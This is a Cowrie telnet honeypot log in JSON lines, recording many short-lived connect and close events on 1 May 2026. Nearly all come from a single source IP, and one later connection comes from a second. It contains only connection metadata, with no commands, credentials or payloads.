{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53006,"dst_ip":"159.203.135.109","dst_port":23,"session":"b38b906b59c5","protocol":"telnet","message":"New connection: 51.161.172.108:53006 (159.203.135.109:23) [session: b38b906b59c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.397592Z"}
{"eventid":"cowrie.session.closed","duration":31.020432472229004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.507049Z","src_ip":"51.161.172.108","session":"f57d2af0476f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53032,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e71ae02189","protocol":"telnet","message":"New connection: 51.161.172.108:53032 (159.203.135.109:23) [session: 94e71ae02189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.677811Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d672da05e8b3","protocol":"telnet","message":"New connection: 51.161.172.108:53048 (159.203.135.109:23) [session: d672da05e8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.686059Z"}
{"eventid":"cowrie.session.closed","duration":31.825481414794922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.987666Z","src_ip":"51.161.172.108","session":"fdffc1d23a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74183464050293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.028741Z","src_ip":"51.161.172.108","session":"4c93d10d7651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40563678741455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.046177Z","src_ip":"51.161.172.108","session":"aca9af4375c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.176437854766846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.099968Z","src_ip":"51.161.172.108","session":"2163748d255f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.019140005111694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.209527Z","src_ip":"51.161.172.108","session":"6f69cf085d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98760962486267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.213974Z","src_ip":"51.161.172.108","session":"af39812c0d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693499326705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.236125Z","src_ip":"51.161.172.108","session":"e5e3cb543905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52984,"dst_ip":"159.203.135.109","dst_port":23,"session":"b987529089b1","protocol":"telnet","message":"New connection: 51.161.172.108:52984 (159.203.135.109:23) [session: b987529089b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.363585Z"}
{"eventid":"cowrie.session.closed","duration":30.864006757736206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.512656Z","src_ip":"51.161.172.108","session":"ccb4f84b6a1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53018,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa4ee89294c","protocol":"telnet","message":"New connection: 51.161.172.108:53018 (159.203.135.109:23) [session: dfa4ee89294c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.576622Z"}
{"eventid":"cowrie.session.closed","duration":31.330528259277344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.703284Z","src_ip":"51.161.172.108","session":"26f8d4d346c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53102,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c32666d8ca7","protocol":"telnet","message":"New connection: 51.161.172.108:53102 (159.203.135.109:23) [session: 1c32666d8ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.747970Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53104,"dst_ip":"159.203.135.109","dst_port":23,"session":"01b429ba7263","protocol":"telnet","message":"New connection: 51.161.172.108:53104 (159.203.135.109:23) [session: 01b429ba7263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:41.984642Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53140,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8ceb35dd367","protocol":"telnet","message":"New connection: 51.161.172.108:53140 (159.203.135.109:23) [session: e8ceb35dd367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.039110Z"}
{"eventid":"cowrie.session.closed","duration":32.12814450263977,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.090532Z","src_ip":"51.161.172.108","session":"01ef8383bfe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53116,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f2749db5cb9","protocol":"telnet","message":"New connection: 51.161.172.108:53116 (159.203.135.109:23) [session: 9f2749db5cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.120677Z"}
{"eventid":"cowrie.session.closed","duration":30.639930963516235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.213065Z","src_ip":"51.161.172.108","session":"23a985b94632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53156,"dst_ip":"159.203.135.109","dst_port":23,"session":"326d628a636d","protocol":"telnet","message":"New connection: 51.161.172.108:53156 (159.203.135.109:23) [session: 326d628a636d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.301708Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53164,"dst_ip":"159.203.135.109","dst_port":23,"session":"49b3c21b4151","protocol":"telnet","message":"New connection: 51.161.172.108:53164 (159.203.135.109:23) [session: 49b3c21b4151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.465699Z"}
{"eventid":"cowrie.session.closed","duration":31.80467915534973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.609206Z","src_ip":"51.161.172.108","session":"4bfe720aa718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137962102890015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.697020Z","src_ip":"51.161.172.108","session":"5cc383549005","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53214,"dst_ip":"159.203.135.109","dst_port":23,"session":"58dc813765f0","protocol":"telnet","message":"New connection: 51.161.172.108:53214 (159.203.135.109:23) [session: 58dc813765f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.772424Z"}
{"eventid":"cowrie.session.closed","duration":31.866815090179443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:42.800620Z","src_ip":"51.161.172.108","session":"e365b657c0f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.542272090911865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.044411Z","src_ip":"51.161.172.108","session":"6ab6ffebe4e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53236,"dst_ip":"159.203.135.109","dst_port":23,"session":"68232446e1d9","protocol":"telnet","message":"New connection: 51.161.172.108:53236 (159.203.135.109:23) [session: 68232446e1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.186727Z"}
{"eventid":"cowrie.session.closed","duration":31.083119869232178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.191706Z","src_ip":"51.161.172.108","session":"c73a501f960d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53252,"dst_ip":"159.203.135.109","dst_port":23,"session":"25b68cdebdda","protocol":"telnet","message":"New connection: 51.161.172.108:53252 (159.203.135.109:23) [session: 25b68cdebdda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.204291Z"}
{"eventid":"cowrie.session.closed","duration":31.003942251205444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.231330Z","src_ip":"51.161.172.108","session":"110fe6c71844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53282,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6705c71df62","protocol":"telnet","message":"New connection: 51.161.172.108:53282 (159.203.135.109:23) [session: a6705c71df62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.236701Z"}
{"eventid":"cowrie.session.closed","duration":30.84229326248169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.247483Z","src_ip":"51.161.172.108","session":"e099f62c3087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53296,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6683e35d9ea","protocol":"telnet","message":"New connection: 51.161.172.108:53296 (159.203.135.109:23) [session: d6683e35d9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.346294Z"}
{"eventid":"cowrie.session.closed","duration":31.109556674957275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.367570Z","src_ip":"51.161.172.108","session":"5bdd463ebb36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53306,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0b5459d4580","protocol":"telnet","message":"New connection: 51.161.172.108:53306 (159.203.135.109:23) [session: d0b5459d4580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.432200Z"}
{"eventid":"cowrie.session.closed","duration":31.03224754333496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.591418Z","src_ip":"51.161.172.108","session":"ca1eae8168ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.538716793060303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.660501Z","src_ip":"51.161.172.108","session":"045057e30dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53326,"dst_ip":"159.203.135.109","dst_port":23,"session":"67bb31c13248","protocol":"telnet","message":"New connection: 51.161.172.108:53326 (159.203.135.109:23) [session: 67bb31c13248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.742703Z"}
{"eventid":"cowrie.session.closed","duration":31.103644609451294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.764668Z","src_ip":"51.161.172.108","session":"ee2946652e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53344,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da604ece443","protocol":"telnet","message":"New connection: 51.161.172.108:53344 (159.203.135.109:23) [session: 5da604ece443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.881662Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53328,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f77097adfc","protocol":"telnet","message":"New connection: 51.161.172.108:53328 (159.203.135.109:23) [session: 55f77097adfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:43.968931Z"}
{"eventid":"cowrie.session.closed","duration":32.26042342185974,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:44.138834Z","src_ip":"51.161.172.108","session":"83967bfa69f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742103338241577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:44.259866Z","src_ip":"51.161.172.108","session":"e000748e9e5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53266,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aef82aba2a4","protocol":"telnet","message":"New connection: 51.161.172.108:53266 (159.203.135.109:23) [session: 6aef82aba2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:44.329219Z"}
{"eventid":"cowrie.session.closed","duration":31.4016056060791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:44.574823Z","src_ip":"51.161.172.108","session":"c2dc20f848d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53362,"dst_ip":"159.203.135.109","dst_port":23,"session":"e74a58c5ff7e","protocol":"telnet","message":"New connection: 51.161.172.108:53362 (159.203.135.109:23) [session: e74a58c5ff7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:44.642185Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53364,"dst_ip":"159.203.135.109","dst_port":23,"session":"e386215bd10f","protocol":"telnet","message":"New connection: 51.161.172.108:53364 (159.203.135.109:23) [session: e386215bd10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:44.758859Z"}
{"eventid":"cowrie.session.closed","duration":31.152376651763916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:44.943072Z","src_ip":"51.161.172.108","session":"f18717259e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53376,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca9080226880","protocol":"telnet","message":"New connection: 51.161.172.108:53376 (159.203.135.109:23) [session: ca9080226880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.099379Z"}
{"eventid":"cowrie.session.closed","duration":31.800732374191284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.123316Z","src_ip":"51.161.172.108","session":"6061d6cf9c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.758872747421265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.392560Z","src_ip":"51.161.172.108","session":"dec4f0f72ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761991262435913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.399126Z","src_ip":"51.161.172.108","session":"12b56affd91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926589250564575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.411205Z","src_ip":"51.161.172.108","session":"aa4efb14f593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54446029663086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.492925Z","src_ip":"51.161.172.108","session":"1bac9866baa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53388,"dst_ip":"159.203.135.109","dst_port":23,"session":"639854bb7796","protocol":"telnet","message":"New connection: 51.161.172.108:53388 (159.203.135.109:23) [session: 639854bb7796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.555248Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53384,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8898d43ffbc","protocol":"telnet","message":"New connection: 51.161.172.108:53384 (159.203.135.109:23) [session: c8898d43ffbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.560694Z"}
{"eventid":"cowrie.session.closed","duration":31.963862419128418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.748943Z","src_ip":"51.161.172.108","session":"5a4ded7a232a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53390,"dst_ip":"159.203.135.109","dst_port":23,"session":"04a9b666293a","protocol":"telnet","message":"New connection: 51.161.172.108:53390 (159.203.135.109:23) [session: 04a9b666293a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.795511Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53398,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a40d261bbc","protocol":"telnet","message":"New connection: 51.161.172.108:53398 (159.203.135.109:23) [session: 55a40d261bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:45.800681Z"}
{"eventid":"cowrie.session.closed","duration":31.19378161430359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.154484Z","src_ip":"51.161.172.108","session":"452b13b1af08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02713322639465,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.225419Z","src_ip":"51.161.172.108","session":"e8f838041702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871439456939697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.342260Z","src_ip":"51.161.172.108","session":"f7ba0131f177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21377205848694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.520374Z","src_ip":"51.161.172.108","session":"33417ff1b44d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796617031097412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.531425Z","src_ip":"51.161.172.108","session":"233d45517058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53402,"dst_ip":"159.203.135.109","dst_port":23,"session":"535ebc4be4be","protocol":"telnet","message":"New connection: 51.161.172.108:53402 (159.203.135.109:23) [session: 535ebc4be4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.561770Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53418,"dst_ip":"159.203.135.109","dst_port":23,"session":"8827e25575d1","protocol":"telnet","message":"New connection: 51.161.172.108:53418 (159.203.135.109:23) [session: 8827e25575d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.678253Z"}
{"eventid":"cowrie.session.closed","duration":31.59597611427307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.895586Z","src_ip":"51.161.172.108","session":"2294d32276e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53424,"dst_ip":"159.203.135.109","dst_port":23,"session":"04c349e42ace","protocol":"telnet","message":"New connection: 51.161.172.108:53424 (159.203.135.109:23) [session: 04c349e42ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.920312Z"}
{"eventid":"cowrie.session.closed","duration":32.60393190383911,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.931848Z","src_ip":"51.161.172.108","session":"f884a8a89a54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51128363609314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.941049Z","src_ip":"51.161.172.108","session":"96cccc20c2eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53422,"dst_ip":"159.203.135.109","dst_port":23,"session":"54d23985ad54","protocol":"telnet","message":"New connection: 51.161.172.108:53422 (159.203.135.109:23) [session: 54d23985ad54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:46.946448Z"}
{"eventid":"cowrie.session.closed","duration":32.07173752784729,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.084952Z","src_ip":"51.161.172.108","session":"a775c6eed2f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.726967573165894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.123605Z","src_ip":"51.161.172.108","session":"d846c68a0ebc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109106063842773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.338917Z","src_ip":"51.161.172.108","session":"061a46fb32dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88320016860962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.420261Z","src_ip":"51.161.172.108","session":"c4e2c6311ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.887149810791016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.554977Z","src_ip":"51.161.172.108","session":"5c6e32ae646e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.967996835708618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.608382Z","src_ip":"51.161.172.108","session":"5aae9c19cf9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53438,"dst_ip":"159.203.135.109","dst_port":23,"session":"41fcacf1da29","protocol":"telnet","message":"New connection: 51.161.172.108:53438 (159.203.135.109:23) [session: 41fcacf1da29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.687335Z"}
{"eventid":"cowrie.session.closed","duration":32.03120541572571,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:47.981206Z","src_ip":"51.161.172.108","session":"8a1ed1746bd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53450,"dst_ip":"159.203.135.109","dst_port":23,"session":"c944b59e0076","protocol":"telnet","message":"New connection: 51.161.172.108:53450 (159.203.135.109:23) [session: c944b59e0076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.050035Z"}
{"eventid":"cowrie.session.closed","duration":31.557044506072998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.055474Z","src_ip":"51.161.172.108","session":"8e9f5c379908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42996,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c9f06d4811d","protocol":"telnet","message":"New connection: 45.10.154.244:42996 (10.17.0.5:23) [session: 0c9f06d4811d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.100171Z"}
